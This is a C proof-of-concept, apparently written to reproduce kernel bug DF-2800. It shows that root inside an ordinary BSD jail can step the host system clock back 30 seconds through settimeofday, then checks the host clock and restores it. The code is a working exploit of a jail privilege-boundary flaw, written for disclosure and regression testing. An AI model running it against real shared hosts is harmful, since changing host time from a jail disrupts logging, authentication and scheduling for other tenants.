/*
 * DF-2800 — jailed root can set the HOST system clock.
 *
 * sys_settimeofday()/sys_clock_settime()/sys_adjtime()/sys_ntp_adjtime()
 * gate on caps_priv_check_self(SYSCAP_NOSETTIME) (kern_time.c:287,661,753,
 * kern_ntptime.c:304).  caps_priv_check() rewrites the cap to its group
 * meta value (kern_caps.c:330-338): SYSCAP_NOSETTIME (__SYSCAP_GROUP_2|8)
 * becomes 2 == SYSCAP_SENSITIVEROOT numerically, and prison_priv_check()
 * returns 0 (allow) for the whole meta group 2 (kern_jail.c:858-861) and
 * again explicitly for SYSCAP_NOSETTIME (kern_jail.c:891-892).
 *
 * This PoC: root forks a child; the child jail(2)s itself (v1, no IPs,
 * path /tmp — a perfectly ordinary jail) and then steps the clock BACK 30
 * seconds.  The (host-root) parent then checks the host clock.
 *
 * success criterion: "REPRODUCED: host clock moved BACKWARD" — the jailed
 * process (uid 0 in jail, no host privileges) changed the host clock.
 * On a fixed kernel: settimeofday returns EPERM, clock unchanged.
 */
#include <sys/param.h>
#include <sys/jail.h>
#include <sys/time.h>
#include <sys/syscall.h>
#include <sys/wait.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

int
main(void)
{
	struct timeval t1, t2;

	if (getuid() != 0) {
		printf("must run as root\n");
		return (2);
	}
	gettimeofday(&t1, NULL);
	printf("[host ] before      : %lld.%06ld\n",
	       (long long)t1.tv_sec, (long)t1.tv_usec);
	printf("[host ] host jid/hostname before: ");
	fflush(stdout);
	system("sysctl -n kern.jail.list 2>/dev/null | wc -l");

	pid_t pid = fork();
	if (pid == 0) {
		struct jail j;
		int jid;

		memset(&j, 0, sizeof(j));
		j.version = 1;
		j.path = "/tmp";
		j.hostname = "df2800";
		j.n_ips = 0;
		j.ips = NULL;

		jid = syscall(SYS_jail, &j);
		if (jid < 0) {
			printf("[jail ] jail() failed: %s\n", strerror(errno));
			_exit(9);
		}
		printf("[jail ] jailed, jid=%d, uid in jail=%d\n",
		       jid, getuid());
		fflush(stdout);

		/* step the HOST clock 30 s into the past from inside the jail */
		struct timeval tv = t1;
		tv.tv_sec -= 30;
		if (settimeofday(&tv, NULL) < 0) {
			printf("[jail ] settimeofday: FAILED: %s\n",
			       strerror(errno));
			fflush(stdout);
			_exit(1);
		}
		printf("[jail ] settimeofday: OK (stepped clock -30s)\n");
		fflush(stdout);
		_exit(0);
	}
	int st = 0;
	waitpid(pid, &st, 0);
	sleep(2);
	gettimeofday(&t2, NULL);
	printf("[host ] after       : %lld.%06ld\n",
	       (long long)t2.tv_sec, (long)t2.tv_usec);

	long delta = (long long)t1.tv_sec - (long long)t2.tv_sec;
	if (delta > 25) {
		printf("REPRODUCED: host clock moved BACKWARD ~%ld seconds "
		       "by jailed root\n", delta);
		/* restore host clock (+2s margin) */
		struct timeval tv = t1;
		tv.tv_sec += 2;
		settimeofday(&tv, NULL);
		gettimeofday(&t2, NULL);
		printf("[host ] restored    : %lld\n", (long long)t2.tv_sec);
		return (1);
	}
	printf("NOT-REPRODUCED: host clock unchanged (delta=%ld)\n", delta);
	return (0);
}
